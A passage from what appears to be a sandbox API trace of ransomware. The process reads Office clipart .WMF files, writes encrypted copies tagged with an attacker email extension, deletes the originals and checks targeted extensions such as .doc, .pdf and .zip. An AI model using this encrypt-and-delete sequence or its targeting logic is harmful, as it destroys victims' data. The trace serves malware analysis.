office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0249.087] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.087] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0249.088] GetLastError () returned 0x0 [0249.088] ReadFile (in: hFile=0x544, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x2afa, lpOverlapped=0x0) returned 1 [0249.161] WriteFile (in: hFile=0x450, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2b00, lpOverlapped=0x0) returned 1 [0249.162] ReadFile (in: hFile=0x544, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0249.162] WriteFile (in: hFile=0x450, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0249.163] SetEndOfFile (hFile=0x450) returned 1 [0249.200] CloseHandle (hObject=0x450) returned 1 [0249.203] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.203] SetEndOfFile (hFile=0x544) returned 1 [0249.208] CloseHandle (hObject=0x544) returned 1 [0249.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0250.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0250.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0250.368] lstrlenW (lpString=".doc") returned 4 [0250.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.377] lstrlenW (lpString=".docx") returned 5 [0250.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.377] lstrlenW (lpString=".pdf") returned 4 [0250.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.377] lstrlenW (lpString=".xls") returned 4 [0250.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.377] lstrlenW (lpString=".xlsx") returned 5 [0250.377] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.377] lstrlenW (lpString=".ppt") returned 4 [0250.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0250.378] lstrlenW (lpString=".zip") returned 4 [0250.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.378] lstrlenW (lpString=".rar") returned 4 [0250.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.378] lstrlenW (lpString=".bz2") returned 4 [0250.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.378] lstrlenW (lpString=".7z") returned 3 [0250.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0250.378] lstrlenW (lpString=".dbf") returned 4 [0250.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0250.378] lstrlenW (lpString=".1cd") returned 4 [0250.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0250.378] lstrlenW (lpString=".jpg") returned 4 [0250.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0250.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0250.378] lstrlenW (lpString=".doc") returned 4 [0250.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.379] lstrlenW (lpString=".docx") returned 5 [0250.379] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.379] lstrlenW (lpString=".pdf") returned 4 [0250.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.379] lstrlenW (lpString=".xls") returned 4 [0250.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.379] lstrlenW (lpString=".xlsx") returned 5 [0250.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.379] lstrlenW (lpString=".ppt") returned 4 [0250.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0250.379] lstrlenW (lpString=".zip") returned 4 [0250.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.379] lstrlenW (lpString=".rar") returned 4 [0250.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.379] lstrlenW (lpString=".bz2") returned 4 [0250.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.379] lstrlenW (lpString=".7z") returned 3 [0250.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0250.379] lstrlenW (lpString=".dbf") returned 4 [0250.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0250.379] lstrlenW (lpString=".1cd") returned 4 [0250.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0250.379] lstrlenW (lpString=".jpg") returned 4 [0250.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.380] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0250.380] lstrlenW (lpString="FD00775_.WMF") returned 12 [0250.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0250.576] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11152) returned 1 [0250.576] CloseHandle (hObject=0x544) returned 1 [0250.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220 [0251.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0251.711] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.711] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0251.712] GetLastError () returned 0x0 [0251.713] ReadFile (in: hFile=0x540, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x2b90, lpOverlapped=0x0) returned 1 [0251.718] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0251.719] ReadFile (in: hFile=0x540, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0251.719] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0251.719] SetEndOfFile (hFile=0x488) returned 1 [0251.720] CloseHandle (hObject=0x488) returned 1 [0251.726] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.726] SetEndOfFile (hFile=0x540) returned 1 [0251.732] CloseHandle (hObject=0x540) returned 1 [0251.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0251.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0251.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0251.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0251.736] lstrlenW (lpString=".doc") returned 4 [0251.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.736] lstrlenW (lpString=".docx") returned 5 [0251.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.736] lstrlenW (lpString=".pdf") returned 4 [0251.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.737] lstrlenW (lpString=".xls") returned 4 [0251.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.737] lstrlenW (lpString=".xlsx") returned 5 [0251.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.737] lstrlenW (lpString=".ppt") returned 4 [0251.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0251.737] lstrlenW (lpString=".zip") returned 4 [0251.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.737] lstrlenW (lpString=".rar") returned 4 [0251.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.737] lstrlenW (lpString=".bz2") returned 4 [0251.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.737] lstrlenW (lpString=".7z") returned 3 [0251.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0251.737] lstrlenW (lpString=".dbf") returned 4 [0251.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0251.737] lstrlenW (lpString=".1cd") returned 4 [0251.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0251.737] lstrlenW (lpString=".jpg") returned 4 [0251.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0251.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0251.737] lstrlenW (lpString=".doc") returned 4 [0251.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.737] lstrlenW (lpString=".docx") returned 5 [0251.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.737] lstrlenW (lpString=".pdf") returned 4 [0251.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.737] lstrlenW (lpString=".xls") returned 4 [0251.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.738] lstrlenW (lpString=".xlsx") returned 5 [0251.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.738] lstrlenW (lpString=".ppt") returned 4 [0251.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0251.738] lstrlenW (lpString=".zip") returned 4 [0251.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.738] lstrlenW (lpString=".rar") returned 4 [0251.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.738] lstrlenW (lpString=".bz2") returned 4 [0251.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.738] lstrlenW (lpString=".7z") returned 3 [0251.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0251.738] lstrlenW (lpString=".dbf") returned 4 [0251.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0251.738] lstrlenW (lpString=".1cd") returned 4 [0251.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0251.738] lstrlenW (lpString=".jpg") returned 4 [0251.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.738] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0251.738] lstrlenW (lpString="FD00814_.WMF") returned 12 [0251.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0251.740] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=42704) returned 1 [0251.740] CloseHandle (hObject=0x540) returned 1 [0251.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220 [0251.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0251.741] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.741] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0251.742] GetLastError () returned 0x0 [0251.742] ReadFile (in: hFile=0x540, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xa6d0, lpOverlapped=0x0) returned 1 [0251.745] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xa6e0, lpOverlapped=0x0) returned 1 [0251.747] ReadFile (in: hFile=0x540, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0251.747] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0251.747] SetEndOfFile (hFile=0x548) returned 1 [0251.747] CloseHandle (hObject=0x548) returned 1 [0251.747] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.747] SetEndOfFile (hFile=0x540) returned 1 [0251.752] CloseHandle (hObject=0x540) returned 1 [0251.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0251.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0251.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0251.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0251.754] lstrlenW (lpString=".doc") returned 4 [0251.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.754] lstrlenW (lpString=".docx") returned 5 [0251.754] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.754] lstrlenW (lpString=".pdf") returned 4 [0251.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.754] lstrlenW (lpString=".xls") returned 4 [0251.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.754] lstrlenW (lpString=".xlsx") returned 5 [0251.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.754] lstrlenW (lpString=".ppt") returned 4 [0251.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0251.754] lstrlenW (lpString=".zip") returned 4 [0251.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.755] lstrlenW (lpString=".rar") returned 4 [0251.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.755] lstrlenW (lpString=".bz2") returned 4 [0251.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.755] lstrlenW (lpString=".7z") returned 3 [0251.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0251.755] lstrlenW (lpString=".dbf") returned 4 [0251.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0251.755] lstrlenW (lpString=".1cd") returned 4 [0251.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0251.755] lstrlenW (lpString=".jpg") returned 4 [0251.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0251.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0251.755] lstrlenW (lpString=".doc") returned 4 [0251.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.755] lstrlenW (lpString=".docx") returned 5 [0251.755] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.755] lstrlenW (lpString=".pdf") returned 4 [0251.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.755] lstrlenW (lpString=".xls") returned 4 [0251.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.755] lstrlenW (lpString=".xlsx") returned 5 [0251.755] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.755] lstrlenW (lpString=".ppt") returned 4 [0251.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0251.756] lstrlenW (lpString=".zip") returned 4 [0251.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.756] lstrlenW (lpString=".rar") returned 4 [0251.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.756] lstrlenW (lpString=".bz2") returned 4 [0251.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.756] lstrlenW (lpString=".7z") returned 3 [0251.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0251.756] lstrlenW (lpString=".dbf") returned 4 [0251.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0251.756] lstrlenW (lpString=".1cd") returned 4 [0251.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0251.756] lstrlenW (lpString=".jpg") returned 4 [0251.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.756] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0251.756] lstrlenW (lpString="FD00965_.WMF") returned 12 [0251.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0251.757] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=15164) returned 1 [0251.757] CloseHandle (hObject=0x540) returned 1 [0251.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220 [0251.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0251.758] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.758] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: 